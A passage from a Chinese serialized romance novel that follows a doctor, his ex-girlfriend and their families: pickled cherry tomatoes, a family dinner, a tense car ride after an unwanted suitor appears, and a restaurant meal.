他捉着她的手,亲亲手背,又把她手心贴到自己脸上,笑着跟她说:“不会的,他们永远都看不到我这副样子,只有你。” 他的下流轻浮,放荡失控,都只会出现在她一个人面前。 他们闹够了,就一起牵着手出门去菜市场,挑小番茄的时候,旁边同样是来买菜的阿姨笑眯眯地夸他们帅哥美女很登对哦,她就笑嘻嘻的是啊是啊地应。 但是脸红得跟小番茄没什么区别。 他们买好东西回家,她按照食谱步骤将小番茄洗干净,去蒂,在蒂处划一个浅浅的十字花刀,放进沸水锅里汆烫,掐着秒捞出来,晾凉了去皮备用。 他在旁边捣乱,她剥一颗他就吃一颗,等她发现,气得要揍他,他就立刻认错。 她忙活半天,做完了还要放进冰箱冷藏一夜才能吃,冰凉酸甜的话梅小番茄味道真的很好,她问他,到底有多好吃呢,不会是骗我的吧? “是我吃一辈子都不会腻的味道。”他这样回答,又补充,“但是只针对你做的。” 那个夏天吃了好多小番茄,有时候他来不及等冷藏,直接就吃了,她还会嗔怪:“要冷藏过才好吃,你不要暴殄天物!” 这些回忆就这样在这个平凡普通的夜晚,猝不及防地狠狠砸向他。 江问舟觉得自己头晕眼花,差点连站都站不稳,连忙转身靠在柜子上,背后有了支撑,确信自己不会真的倒下去,他这才松了口气。 直到手心里的玻璃罐子存在感越来越强,好像快要被他的手心捂热了,他猛然回过神来。 他突然忍不住在心里埋怨起齐眉来,这人也真是的,怎么也不提醒他一声,不然他早就放进冰箱里了。 更衣室的门突然被敲响,蔡朝的声音从外面传进来:“老大,你在里面咩?” 他回过神,忙扬声应道:“在,有什么事吗?” “我们点奶茶,你要喝什么?”蔡朝问道。 江问舟刚想说不用了,忽然想起下午好像看到孙茂芸给他发的信息,说什么让他请大家吃个下午茶,感谢一下大家对纪叔叔的照顾。 于是一面提上袋子,一面开了门,对门口的蔡朝道:“我都可以,你们先点,点完我报销。” 蔡朝一愣,啊了声:“你又请客啊?” 这离上次请客才过了几天啊,又请?这日子不过啦? 见他一副欲言又止,想劝又不知道怎么劝的表情,江问舟只好解释道:“是我妈妈吩咐的,我叔叔在我们科住院,就拜托各位同事照顾了。” “原来是这样,我说呢……”蔡朝恍然大悟,随即又挠挠后脑勺,“阿姨也太客气了。” 江问舟先是沉默,随后无语吐槽:“……慷他人之慨,我也会。” 这话听起来就很有怨气,蔡朝忍不住嘿嘿笑了两声。 江问舟无奈地笑笑,和他在办公室门口分开,往休息室走去。 进门第一件事,就是先将那罐话梅小番茄放进冰箱。 然后再将保温桶和红烧肉取出来,打开盖子才发现,保温桶的上层还有一份焖饭,青豆腊肠焖饭,还放了胡萝卜,颜色看起来很丰富。 倒是不用吃泡面了。 江问舟把它们一起放进微波炉里等待加热,然后靠在桌边抱着胳膊静静的、漫无目的地出神。 “叮——” 微波炉发出一声清脆的提示声,汤和菜都热好了。 汤端出来的时候一眼就看到很多的排骨,除此之外还有茯苓、淮山、芡实、莲子,这是从小喝到大的四神汤的主材,大人们说是可以健脾祛湿还养胃。 他先小心地喝了一口汤,然后夹起一块排骨,都已经炖得酥了,轻轻一抿就脱骨,连骨头都能轻松嚼碎。 饭盒里的红烧肉红亮油润,香味浓郁,格外的诱人。 江问舟刚吃了一块,电话响了,拿过来一看,是孙茂芸打来的视频电话。 接通之后发现她那边的背景似乎有些不对。 她坐的沙发是棕色的,后面似乎是靠着一堵矮隔断,这和他家的装修完全不同。 “您这是……”他想了想,问道,“在西西那儿?” “是啊,这边离医院近嘛,方便去看你纪叔叔,我们就先在这边住几天呗。”孙茂芸一边解释,一边将猫捞过来,对准镜头,“而且我和你爸在,明天西西去上班,也不用把年年送去宠物店了,多好,一举两得。” 说完在金金的大脑袋上用力亲了一口,它本来就被孙茂芸的动作挤得眯起来的眼睛这下干脆闭了起来,看上去倒跟生无可恋似的。 江问舟忍俊不禁,像是没话找话一样问了句:“突然换了地方,它能习惯么?” 孙茂芸怕他明天就来把猫带走了,立刻提高音量回答道:“适应,怎么不适应,适应得不得了!” 还说:“西西今天给它准备新的碗吃饭喝水,它也可以的,下午我们回来,它跟年年在家不知多要好。” 最后还让江眀琮作证,江问舟一边听一边吃红烧肉,笑意慢慢就爬上了眼角。 孙茂芸说完,看他还在吃饭,就笑着跟他说起买菜时的事:“西西说要吃红烧肉,我就让她挑肉嘛,结果好家伙,结账的时候我才看到她拿了多少,三大盒!” “我以为她馋肉了,就一次性全炖了,结果她也没吃几块,大半都给你和小纪送过去了,你这又是大半的大半。” 江问舟听完嗯了声,不去猜齐眉的举动是有心还是无意。 他怕自己晚上睡不着,也害怕自己会不停地想她这是什么意思。 刚吃完饭回办公室,蔡朝他们点的奶茶就送到了,给他的是一杯水果茶,他道了声谢,想起来自己在冰箱里还有一罐话梅小番茄,又转身出去。 蔡朝正觉得纳闷,就见他端着个罐子回来了。 罐子里一颗颗红色的水果漂浮在有些琥珀色的汁液里,蔡朝好奇地问:“这是什么罐头啊?圣女果罐头?” 江问舟呼吸顿了一下,点点头,嗯了声。 他并没有分享的意思,坐下之后打开盖子,调羹往里一挖,就挖起来一颗小番茄,放进嘴里之后先是一阵冰凉,接着已经浸软了的小番茄被舌头挤压出汁水,酸甜的味道瞬间在口腔迸开。 一吃就能尝出来是齐眉最拿手的味道。 她那时候很得意的,跟他说这个话梅水的配方和别人的不一样,在煮的过程中还加了白葡萄酒,而且小番茄品种也不一样,有的小番茄怎么泡都还是脆的,要用…… 想起来了,她说要用樱桃番茄。 他也不知道这到底对不对,科不科学,只知道这三年里不是没有在其他饭店吃过这道甜品,却没有一家是他熟悉的味道。 江问舟一边吃着小番茄,一边翻着还没签完字的病历,很多本,在他面前摞成高高的一沓。 但他总觉得今晚的病历也不算多,因为他就算发现了很多错误,也没有觉得心烦气躁。 甚至还慢悠悠地查了一下病案室下发的病历书写规范,然后对蔡朝道:“我们的病历书写以后改一下格式,首行缩进不要忘了,现在就改,先改你的。” 说完看向今天的值班一线陈妍,她立刻表示秒懂:“我也改。” 江问舟笑起来,声音温和地解释:“虽然麻烦了一点,但至少我们不会在这一点上被扣十块。” 十块钱呢,又可以买一点小番茄了。 何况还会积少成多,你一个月总不可能只有三两个病人吧? 总之,在江问舟的要求下,组内开始整改病历书写。 其他组的呢,有人觉得江问舟说的也对,积少成多,这年头挣钱不容易,蚊子腿也是肉了,有的粗心惯了,不以为意,可等到下个月发工资,发现同样的级别同样工作量,别人硬是比自己多出来那么一点点,想不通,只好拉着人对明细,好家伙,就是病历比别人多扣了那么一点点! 但这都是下个月才发生的事了,这会儿江问舟正一边等着蔡朝和陈妍把他们要上交的病历重新打印出来,一边捧着小番茄一口一个一口一个。 他很喜欢带甜口的菜,比如红烧肉和糖醋排骨,但又很挑剔,不能只有简单直给的甜。 齐眉以前总是边吐槽他麻烦,边留意这些菜哪家饭馆做得好吃,甚至还会自己学。 自己以前都过的什么好日子。还是得回家。 一罐小番茄说多不多,说少也不少,蔡朝才刚把几本病历重新打印出来,递给他,就见他的罐头已经吃完了,罐子里只剩糖水。 那杯给他点的水果茶一动没动,冷气凝结的水珠在杯底边缘落下一圈水渍。 他还拿过水果茶的吸管,把吸管插到罐头瓶子里,一边嘬一边签字,看上去十分专注沉浸。 蔡朝觉得好稀奇,看了好几下,还偷偷拍了张照发给陈妍。 陈妍看到,惊讶地抬头看他一眼,又仔细看一眼江问舟,他还咬着吸管。 陈妍:【?我们老大……这么喜欢水果罐头?哪来的?】 蔡朝:【看瓶子像家用的那种密封罐,你不觉得很可爱吗,我想起来前天林然从门诊回来说的事了,他妈妈叫他的小名[斜眼笑]】 陈妍:【你别说,还真别说[笑哭]是挺可爱[笑哭]】 俩人议论了一会儿江问舟,直到他把病历签完字,起身去洗罐子。 回来之后看着还没动过的水果茶,沉默了一会儿,问:“你们……还有人要喝饮料的吗?” 陈妍忍着笑,给他出主意:*“水果茶没事,要不先放冰箱,明天再喝?” 看来是不会有人帮他消灭了,他有些无奈地笑笑。 将饮料拿去放好,出来时碰到病人家属想了解病情,还带着孩子,上来就道歉,说自己刚下班,所以来晚了,打扰医生。 江问舟给她解释完病情,见孩子也是一脸疲惫,背后的书包大大的,他突然想起念六年级时的齐眉。 他们读书那会儿,从小学四年级就开始上晚自习了,到了升初中,还得入学考试,要分重点班和平行班,所有家长和学生都接受这个规则,只会去补习班卷自己,努力让自己考过别的同学能进重点班,齐眉也一样。 那时候他已经升高三,每天也很忙,但父母比他们都忙,孙茂芸那时经常出差去项目现场,江眀琮更不用说,有案子的时候十天半个月回不了家一次。 于是照顾妹妹就理所当然成了他的事,要接送她放学,补习班都特地挑在他学校旁边,就为了能下晚自习一起回家。 那时候她也这样,小小的肩膀被大大的书包压得塌下去,看起来都要蔫了。 他犹豫片刻,还是去休息室把那杯水果茶拿了过来,又问护士要了根吸管,一并拿给患者家属。 对方一愣:“这……” “给孩子的,别客气。”他温声道,“你妈妈的情况还算平稳,不缺人陪护的话,就早点回去休息吧。” 对方眨眨眼,道了声谢,带着孩子往外走,到了门口又回头,认真地同他道谢:“江医生,真的非常谢谢你。” “我也有父母。”江问舟笑笑。 送走病人家属,回头就见陈妍和蔡朝看着自己,不由得一愣。 还没等他问怎么了,就听陈妍问他:“老大,要不要给你再点一杯放着明天喝?” 好不容易才解决了这杯饮料,江问舟一听这话就忍不住嘴角一抽:“……谢谢,但不必破费。” 第24章 第二十四章(二合一)有那么一瞬间,…… 五一节假期前最后一天,江问舟下夜班。 但没什么用,因为这天是手术日,一整天都排满了。 晚上七点,终于从手术室出来,在排班表上确认过自己可以连休三天,他整个人都觉得轻快起来。 查完房,尤其重点是看过刚做完造影的纪达,回到办公室喝了杯水,确定没什么事了,这才下班回去。 孙茂芸像有透视眼,掐着点就打电话过来了,问他:“下班了吧?” “刚下。”他应了声,又犹犹豫豫地问,“你们……还在西西那儿?” “在啊,我就是想跟你说这事。”孙茂芸直截了当地道,“过来吃饭,知道地址么?” 这话让江问舟心里顿时松了口气。 但表现却是叹了口气:“……好吧。” 应完顿了两秒,才继续道:“地址是高梧路风尚一品小区,三单元1002室,没错吧?” “对对对,就是这儿。”孙茂芸连连应是,还夸他记性好,“就买房那会儿来过,你居然还记得,不错不错,跟西西一样,也是不用我说就知道你住在哪儿,年轻的脑子就是好使。” 江问舟闻言一愣,旋即抿着唇嗯了一声。 高梧路恰好离他单位不远,感觉没一会儿的功夫,他就进了小区。 上楼以后站在门口前,手都抬起来了,却发现有些按不下这个门铃。 他垂下胳膊,看着门上的电子摄像头出了一会儿神,半晌缓缓吐出一口气,再次抬手。 按了两下门铃,刚放下手,门就从里面打开了,似乎还能听到门铃声最后的余韵。 “这就到了?我说这边就是近吧。”孙茂芸一边给他开门,一边吐槽道,“你那边什么都好,就是离你单位远了,上下班光路上就得花半天。” 江问舟笑笑,没有反驳。 他低头换鞋的时候,金金和年年朝他跑过来,一个乖巧蹲在旁边像个大家闺秀,一个跃跃欲扑像个捣蛋鬼。 但样子都很热情,让他恍惚间以为自己真的是回家。 可是一抬头,并没有齐眉的影子,只听见孙茂芸喊他:“快来洗手端饭!” 他回过神,失笑着挨个摸摸两小只的脑袋:“让开。” 被两只左右夹着左脚碰右脚地进到客厅,便看见前一晚同孙茂芸视频时看到的背景了。 棕色的沙发后面确实一堵比沙发背高出一小段的隔断,隔断后面是一张与隔断几乎等长的胡桃木电脑桌,齐眉的台式机和笔记本电脑都放在那儿。 人体工学椅后面就是高大的书柜,玻璃柜门反射着幽幽的灯光。 这是将客厅一分为二了,毕竟只有两个房间,要有一个客房应付像现在这样孙茂芸和江眀琮过来小住的情况,应该是不太够用的。 这设计和他们当初第一次来时设想的,完全不同。 当时还只是觉得可以把房子租出去,而他们…… 嗐,不说了。 江问舟走到厨房门口,碰到孙茂芸出来,手里还端着一个小砂锅,连忙伸手接过,往前走了两步放到圆形的餐桌上。 放下砂锅后抬头一看,面对着的墙壁上挂着一幅油画,画里一只三花猫蹲坐在鲜花盛开的窗边,绿叶白花十分小清新。 倒确实是齐眉会喜欢的风格。 靠着厨房这边的墙上安装了直达天花板的餐边柜,柜子中间是操作台,台面上有饮水机,有咖啡机,还有装着各种基酒和调酒用具的实木收纳矮柜,侧边的柜板上安装着杯架,杯架下方的角落里甚至还有一瓶无火香薰。 整齐,干净,清爽,任何一个强迫症来了都会说一句看着真舒服。 江问舟认真打量了一会儿这些布置,越看越觉得熟悉,他记得他们以前的住处,也有类似的布置,就连香薰的牌子,都是一样的。 ——他终于找到从前的齐眉的痕迹。一个人的生活习惯确实无法在几年时间里完全又彻底地改变。 “看什么呢?快去洗手。”孙茂芸见他看着柜子发呆,就拍了一下他的肩膀,“还不快去,年年要上桌了!” 他回过神扭头一看,好家伙,餐桌边搁着一只毛茸茸的大脑袋,耳朵是一对有些显胖的三角形,咧着嘴,感觉口水都要滴下来了。 江问舟顿时哭笑不得,赶紧把它轰走,一边进厨房洗手,一边问:“今晚吃的什么?” “砂锅牛仔骨。”孙茂芸一面回答一面又进了厨房,过了一会儿就端着一个碗出来,放在了桌上。 江问舟一看,碗里竟然又是话梅小番茄,不由得一愣:“怎么又有?” “西西昨晚在店里做了拿回来的,说是看你纪叔叔他们喜欢吃,店里也用得着,干脆多做一点。” 孙茂芸一面解释,一面往门口走,扬声喊:“年年,走了,下楼散步了!” 江问舟一时错愕,心里忽然冒出来一丝复杂的感觉。 一时是失落,原来不是给自己的,从前只有他能吃饭的东西,现在竟然都可以店售了么? 旋即又忍不住幻想,是不是别人的、店售的,才是顺带的? 可是怎么可能呢?他回过神,不由得失笑。 接着探头一看,江眀琮也已经等在门口了,而金金已经跳上了餐椅,正像小淑女一样端正坐着看向他。 他顿时就笑了,问它:“爷爷奶奶和妹妹下楼玩,你不去么?” 金金头一歪,好像在说它不去。 江问舟看着它笑了一下,擦干手上的水,出来之后弯腰低头,用额头蹭蹭它的脑袋:“那你就陪我吧。” 他坐在餐桌边,揭开砂锅盖子,看到砂锅里一边是几块牛仔骨,一边是几只大虾,另一边整齐地码着油绿的菜心,最中间是一颗水煮蛋。 大概是因为环境的关系,他看到水煮蛋,又想起齐眉来。 孙茂芸一直都觉得水煮蛋是非常易得且优秀的蛋白质来源,所以他们读书的时候,只要她在家做饭,就会一天给他们准备一个水煮蛋。 但问题是,齐眉不爱吃。 这件事是上了大学以后,江问舟才从她和别人的聊天里偶然得知的,过后惊讶地问她:“你真不喜欢吃水煮蛋?” 她憋红了脸应是,让他不要告诉孙茂芸,“干妈辛苦准备了,不吃多不好……反正就两三口的事,一下就吃完了。” 她吃相一向斯文,只有吃水煮蛋时,他才会看到她大口将食物往嘴里塞。 幸而大学以后,他们一年只有寒暑假才会回家,甚至很多时候他工作忙回不去,她在家待几天就以实习、实验等名义又回申城了,孙茂芸变着花样让她在有限的时间里多吃几个家常菜,根本记不起水煮蛋来。 再后来每回碰到水煮蛋,他就帮她把蛋黄吃了,让她自己吃蛋白,不噎嗓子。 也不知道这人现在能不能吃水煮蛋了,要是吃,蛋黄怎么办? 他看一眼旁边拿他吃饭当节目看的猫仔,啊,懂了,有可能是给年年吃了。 吃完饭,孙茂芸他们还没回来,他收拾碗筷进厨房,看见洗碗机,就拉开看了一眼,发现里面的碗筷和锅都是没洗的状态,便将手里的碗筷也放进去,按下工作键。 接着将砂锅洗干净,倒扣在水槽旁边的沥水架上,再拿抹布将台面擦一遍,洗干净的抹布就搭在水龙头上晾着。 出来之后他还顺便收拾了一下客厅和沙发,在沙发坐垫的缝隙里捡出来一个红色的发圈,一看就只可能是齐眉的。 他将发圈放到茶几上,掀起每一个坐垫检查一遍,确认都没有了,去厨房找了个明显很久没人用的杯子,洗干净后给自己倒了杯水。 ——这一系列的事他做得熟练至极,就像在自己家一样。 金金是个跟脚猫,一直跟在他旁边转来转去,直到他喝水,它也去喝。 江问舟坐在沙发上看着它笑。 真的有那么一瞬间,他以为自己是回到了家。 进门时有父母和宠物迎接,给他留了丰盛的饭菜,他吃完饭做些家务,而齐眉是因为上班不在家,明天就会回来。 他们就会相见,一如从前。 “我们回来啦。”大门在这时从外面打开了,孙茂芸他们回来了,一边换鞋还一边问他,“几点了?你怎么还不回家?” 江问舟倏地回过神来,不由得苦笑,是啊,这里并不是他的家。 更不是他曾经设想过的,和齐眉的家。 “……马上就回,五一节打算怎么过?去医院陪纪叔叔过?” “让你爸去陪。”孙茂芸道,“我们找个地方去玩呗,天黑了就去西西店里坐坐。” 顿了顿,又说:“明天聚餐,叫你小纪哥出来,我们一块儿吃顿饭,再给你纪叔叔送过去。” 安排得挺好,江问舟点点头,问道:“那去哪儿玩,要我提前订票么?” “没想好,明天吃饭的时候再想。”孙茂芸摆摆手。 江问舟失笑,点点头,又看一眼金金,“那猫……” 才刚开口,年年就跑过来了,一下就把金金顶翻,两只就你打我一下我打你一下地闹了起来。 它看样子也不像想回家的,江问舟只好改口:“猫就留在这儿吧,省得明天还要带过来。” 顿了顿,又说:“明天我过来接你们?” 孙茂芸说好,让他回去的路上小心,除此之外就没说别的了。 江眀琮这时问起纪达,“今天是不是做什么造影?结果怎么样?” “冠状动脉CT血管造影。”江问舟回答道,“还行,没看到乳/头肌断裂。” 江眀琮别的没听懂,就听懂了“还行”两个字,点点头:“那就好。” 江问舟这才要回去了,临走金金来送,他问要不要一起走,它都跟过来了,年年嗷了一声,它立刻调头往回跑。 江问舟:“……”这也是白养了的。 他在江眀琮的笑话声里关上门,耳边顿时就清净了。 齐眉是晚上十一点,医务点关门以后,跟孙茂芸视频时,才知道江问舟去过自己家的事。 一听就忍不住紧张起来:“……是、是么,舟哥去家里、吃饭啊?” “是啊,这就是离得近的好处了,也是让他吃上一口热饭了,要是还在申城,怎么可能。”孙茂芸哼哼两声,越说越觉得江问舟回来得好。 齐眉都不太敢接这话,但心里的紧张感确实慢慢消退了。 无他,只因她想起来,江问舟绝不可能这个时候进她卧室。 那就没了,她松口气,心下暗暗庆幸。 但她确实有些心不在焉,听到孙茂芸说五一节家里聚餐,然后他们去玩,让干爸去医院陪纪叔叔,都没想太多,只嗯嗯应了两声。 通话话很快就结束了,齐眉觉得忙了一天下来腰背有些痛,就拿了个养生槌坐在床边一边捶背一边看手机。 床铺旁边靠墙处是桌椅,陈羽丹正坐在桌边擦护肤品。 擦着擦着她突然停下来,有些突兀地问齐眉:“眉姐,你家里真的没有催你结婚,相亲之类?” 齐眉一愣,有些疑惑地抬起头:“没有啊,怎么了?你家又催你了?” 陈羽丹咬着嘴唇,神情像是欲言又止,齐眉想了想,问道:“要聊聊吗?可能说出来会好一点?” 陈羽丹的神情明显有那么片刻的意动,但很快这种意动就消失了。 她摇摇头,神情有些怏怏:“算了,也没什么好说的。” 这是别人的秘密,对方不愿意说,齐眉也不便追着问,闻言便笑着点点头。 客气地说了句:“需要帮忙的话,尽管开口。” 陈羽丹咬着嘴唇道了声谢。 收拾好东西以后就爬到了上铺,然后问齐眉:“眉姐,要熄灯吗?” “我来关好了。”齐眉忙应道,起身关了灯。 不是二十四小时医务点就是好,关了灯,外面有事也叫不到她们,可以一觉睡到早上六点。 九点整,同事来接班,齐眉交完班就要走,刚走到门口,见到突然出现的肖涵,还没来得及躲,就听到有人叫她的名字。 “西西。” 她抬头看出去,熟悉的声音熟悉的人,好像时间在这一刻突然倒退,回到不久之前,他们第一次在这里见面那天。 ————— 毫不夸张地说,此时江问舟在齐眉眼里,跟从天而降的救星差不多。 她立刻对陈羽丹他们说了声我家里人来接我了,就绕过肖涵向他大步走去。 她阔腿裤的裤腿晃啊摆啊,在江问舟看来,就像是落荒而逃。 于是他立刻看了眼医务室门口,发现是几张上次见过的面孔,其中一位明显不应该是她同部门的同事。 顿时眉头一挑,心里有了计较。 齐眉走近他,都没问他为什么会来接她,只说:“咱们走吧。” 她以为自己语气如常,可江问舟还是听出了其中隐藏的急切和催促。 是什么让她这么避之唯恐不及? 江问舟看向她来的方向,看见门口那位穿着机场工作制服的年轻男生……对,他觉得那甚至都不是男人,很年轻,毛头小子一样,看向齐眉的目光里除了遗憾,似乎还有淡淡的…… 幽怨?江问舟眼睛一眯,看向对方的目光充满了打量。 肖涵本来正看着齐眉,他和齐眉的工作时间重合,又知道这个点她大概率还没走,就想过来和她说说话,熟悉熟悉。 已经很多次了,可他能成功跟齐眉说上话的次数屈指可数,他当然知道她的避开是委婉的拒绝,但还是想试试。 不都说烈女怕缠郎么?万一齐眉被他感动了,答应了呢? 可是……今天来的这个男人,前段时间也见过一次,刚才齐眉说他是谁来着?家里人,是什么样的家里人? 不会是男朋友吧?肖涵紧张起来。 求偶期的雄性动物对同性总有一种莫名的警惕,直觉告诉他,对方和齐眉的关系非比寻常,而且对他很有敌意。 他刚想回敬一个眼神,就见对方已经收回视线,转身跟着齐眉走了。 他和齐眉肩并肩地走着,离得很近,走了没几步,他就将手里提着的咖啡袋子递给了齐眉。 齐眉连忙接过,打开袋子一来,一杯咖啡,还有一个可颂三明治,便小声道了声谢,又问他:“你吃了么?” 江问舟点点头,嗯了声。 正斟酌着该怎么开口问那人是谁,就听她接着问:“你怎么、呃……干妈让你来接我的?” 江问舟抿抿唇,将到了嘴边的那声冷哼忍了回去,嗯了声。 “今天家里聚餐,订的饭店有点远,而且妈想先去美容院做个脸,爸要去理发,他们先过去,我来接你,直接过去,可以节省时间。” 解释完实在没忍住,轻啧一声。 这编理由编得真是麻烦,以前哪用搞这些弯弯绕。 齐眉听见,忍不住喉咙一哽。 她其实多少能感受到一点他是在故意找借口的,可是她根本不敢,也不知道应不应该,揭穿他。 于是最后只能哦了一声,继续低头走路。 直到进了停车场,她才听到江问舟问道:“你在这边工作感觉怎么样?和同事关系还行?” 怎么感觉这个问题他好像问过?齐眉有些纳闷,但还是老实回答道:“还可以的,跟同事也挺和睦。” “那你刚才走这么快,是要躲什么?那个男的?”江问舟像是随口一问,问完就拉开了驾驶座的车门。 齐眉一怔,这才反应过来,前面那句是他有意为之的铺垫。 她愣愣地站在车边,说实话,有些尴尬,就是那种被自己在意的人看到自己的窘迫那种尴尬。 她可不觉得被不喜欢的男人追求,是一件多么让人高兴,或者值得夸赞的好事。 “还不上车,不回去了?”江问舟的声音这时从车里传出来。 齐眉立刻回过神,咬着嘴唇拉开车门上了车。 她以为自己不回答,江问舟就不问了,顺水推舟嘛,成人年比备技能。 可没想到江问舟今天不知道哪根筋搭错了,偏要刨根问底。 安全带的扣子刚发出一声轻微咔哒声,就听到他问:“刚才的问题,想好怎么回答了吗?” 齐眉很尴尬,抿着唇沉默半晌,才垂着头反问道:“能不回答吗?” 声音听起来好似含着一丝求饶的意味。 但江问舟不为所动,先是嗯了一声,给她一点希望,随即又立刻道:“那告诉我妈?” 齐眉一噎,还没来得及说不要,就听他继续道:“看来只有我妈才够分量让你回答这个问题了。” 语气似笑非笑,但话里的意思准时算不得友善,阴阳怪气的,把齐眉噎得够呛。 她一面恼江问舟咄咄逼人,一面觉得委屈,这又不是她故意去招惹的肖涵,他这语气什么意思? “是同事……就是我们组长,还有另一位同事,想撮合我们,我一开始就已经拒绝了的。”她解释道。 说到这里她也有些恼了,语气变得有些冲:“腿在他身上,他非要来找我,我能有什么办法?又不能撕破脸,我能避开就避开了,避不开的时候……我有什么办法,难道我要为了这事就辞职?又不是我故意招惹他的,我都这样了……” 越说越气,越说越委屈,到最后声音里都多了几分哽咽。 江问舟先是一愣,旋即内心愧疚之意迅速攀升,直至将他淹没。 他这是踩到她雷区了。 明知道她经历过方仕平的事之后,就有些惊弓之鸟,他说话还不注意。 他沉默片刻,在握紧方向盘努力稳住情绪之后,迅速道了声歉:“抱歉,我不是这个意思。” “是不是这个意思有什么关系。”齐眉这会儿恼着呢,根本不想听他的道歉,吸了吸鼻子,有些赌气地道,“我跟他都是单身,就算有什么又怎么样,你要告诉干妈就说好了,又没有什么见不得光的。” 说完哼了声,扭过头去,看向车窗外面,只觉得心里一把火在烧。 委屈的感觉越来越强烈。 知道她是气话,可江问舟不爱听,而且心情很受影响。 甚至他觉得自己脑子里有根弦嘣一下就断了,口不择言地道:“当然了,你跟谁都光明正大,只有跟我是见不得光。” 齐眉闻言一噎,心里的火苗噗地闪了一下,渐渐灭了下去。 在这件事上,她面对江问舟,真的是永远理亏。 可是已经过去的事,现在争也没什么好争的,何况已经分手了,就算争出来个对错,又能怎么样呢? 齐眉继续保持着扭头的姿势,看着窗外像是在默默出神。 江问舟也沉默,只一味看着前面的路况。 就这么一路沉默着,车子从机场高速下来,很快就进入市区,路过的行人车辆越来越多,也越来越热闹。 齐眉不知道是要去哪儿,江问舟没给她机会问。 车子最后停在离齐眉家老远的瑶光新天地的户外停车场,齐眉在下车前看了眼时间,好家伙,从机场开车过来,还走了高速,竟然还要两小时四十分。 因为离得远,她平时极少来这边,所以下了车之后两眼一抹黑,根本不知道该往那个方向走,只好老老实实跟在江问舟后面。 边走边发信息问孙茂芸他们在哪儿。 江问舟走在前面,发现自己走快一点,她也快一点,自己走慢一点,她也跟着变慢,顿时就被气笑了。 回头一看,她正低着头,浑身一副丧里丧气蔫蔫巴巴的小鹌鹑模样,又让他哭笑不得。 他想说什么,又不知道该怎么说,想到的第一句话,仍然是道歉——之前实在是太冲动了。 可是还没来得及想好措辞,电梯就已经一路上行到餐厅所在楼层,齐眉突然挤开他,一步当先走了出去。 江问舟愣了一下。 还没回过神,就听她在前面突然说了句:“你以后不要再去接我了,闹得彼此都不开心,气都气饱了,真讨厌。” 气呼呼的,又很委屈的样子。 说完头也不回地朝餐厅走去,那方向竟然是对的。 江问舟这才反应过来,顿时再次被气笑。 以他对她的了解,用指甲盖想都能想到是怎么回事,无非是一开始不知道往哪儿走,要他带路,所以先忍他一忍,等从他妈那儿知道具体位置以后,决定不忍了,赶紧呲他一句,反正到了父母面前,他就算有什么气,也全都得忍着。 至于忍气吞声对身体不好,那又不关她事咯,吃气的又不是她。 齐眉甩开江问舟,在服务员的带领下找到包厢。 刚推开门,就听到孙茂芸在说话:“这个款式小姑娘肯定喜欢的,谁还没个白雪公主梦啊。” 她探头往里一看,只见孙茂芸正提着一件上蓝下黄的蓬蓬裙在打量,一旁纪琏笑着应道:“这就是她自己挑的,我给她们拍照,她妈觉得白色的好看,她不喜欢,就要这件。” “你怎么不干脆两件都买了?真的是,一会儿你快递先别寄,我给我侄孙女买一件去,听到没有?”孙茂芸嗔怪了一句,抬头一看,“哎呀,我们西西下班啦,快进来。” 接着往她后面一看,问道:“诶,你哥呢?不是他去接你的么?” 齐眉脸上笑容一僵,又立刻恢复:“后面呢。” 说着进来,理所当然地在她旁边坐下,先夸了句纪琏买的裙子漂亮,接着一边拆碗筷的包装,一边状似无意地问:“这边离得这么远,你们怎么想到来这边吃饭的?什么时候来的?” “这家餐厅有优惠啊,有一个团购很划算的,你纪叔叔和小纪哥来了这么多天,我们都没在正经餐厅请他们吃过饭。”孙茂芸解释道,又指指江眀琮,“你哥还给你爸团了个剪头发的券,怎么样,剪得还可以吧?” 齐眉立刻抬头去看,一本正经地夸奖道:“好看,精神,年轻了十岁。” 夸完她接着问:“你们开车过来的,还是舟哥送你们来的?” 江问舟进包厢的时候,正好听见她问的这句。 心突然就提了一下。 听到齐眉的问题,孙茂芸解释道:“我们自己来的呗,开了你哥的车,去接你小纪哥一块儿,你哥去接你,直接过来,省时间。” 省时间。这跟江问舟跟她说的理由对上了。 她以为这是大家一起商量出来的,结果没想到孙茂芸下一句就是:“幸好舟舟提前想到了,不然这会儿我们肯定还在路上,别说十二点,一点都不知道来不来得及。” 江眀琮就说其实也没那么远,走哪条哪条路会快很多,可以把时间压缩在两个小时左右。 齐眉没听进去,只抬头看向江问舟,见他正低头烫碗,便忍不住撇撇嘴。 哈哈,干妈让他去接的,她真是信了他的邪。 人到齐了,很快就开始上菜。 这家餐厅颇高档,菜色出品摆盘格外精致,尤其是一道叫鱼戏莲叶间的例汤,清澈透亮的淡黄清汤盛在白色的骨瓷汤碗里,游动着一尾呆萌可爱的大眼睛小金鱼,一朵莲蓬,还有两粒莲子。 齐眉有些好奇,汤都没喝,就先咬了一口莲蓬,发现里面是塞着料的,又是瑶柱又是鲜虾,原来是个做成莲蓬造型的海鲜饺子。 吃完了莲蓬和小金鱼,她才慢慢喝着汤,觉得汤鲜,还跟孙茂芸夸道:“这个汤好喝,就冲着这口汤,这两个小时的路也值啦。” 江问舟听见这话,抬头看她一眼。 一桌菜七菜一汤一甜品一果盘,主食是煲仔饭,大家吃得十分尽兴。 最后齐眉吃着燕窝芋泥冰淇淋,听孙茂芸安排接下来的行程:“老江你开舟舟的车,和小纪回去陪老纪下棋吧,我跟西西在这边逛逛,舟舟给我们拿一下东西。” 接着嘱咐纪琏:“先别寄快递,等我晚上给你收拾一点特产,到时候你爸出院,回去就不用大包小包了。” 纪琏笑着应好,道了声谢。 孙茂芸说完看一眼还在埋头挖冰淇淋吃的齐眉,继续道:“西西马上就要生日了,一会儿咱们去商场转转,挑一件生日礼物。” 齐眉听到自己的名字,一愣,抬起头下意识地反问:“我吗?” 模样有些呆呆的,眼睛越发显得圆润,江问舟想到刚才喝的汤里那尾憨态可掬的小金鱼,忍不住笑起来。 第25章 第二十五章(二合一)你哥的就是你的…… 齐眉的生日在七月初,离这会儿其实还有两个多月,只是赶巧这边有一个珠宝定制工作室还不错。 “我刷那个app,在同城那儿看到她们家发那些客订的首饰,款式都还不错呢,来都来了,去看看。”孙茂芸解释道。 她给人买礼物向来注重实用,要么吃了能长肉,要么放着能长钱。 所以齐眉和江问舟成年之前过生日,主要是吃生日大餐,成年之后再过生日,就开始收到比较贵的东西了,比如宝石饰品一类。 江眀琮对买生日礼物没意见,但劝她:“找大品牌买嘛,贵一点,但有保障,你找小店买,万一坏了不给修怎么办?一直打广告的,会不会只有噱头?” “大人,时代变啦,这年头酒香也怕巷子深,不打广告做不了生意的。”孙茂芸不赞同他的想法,“是驴是马,去看看就知道,来都来了。” 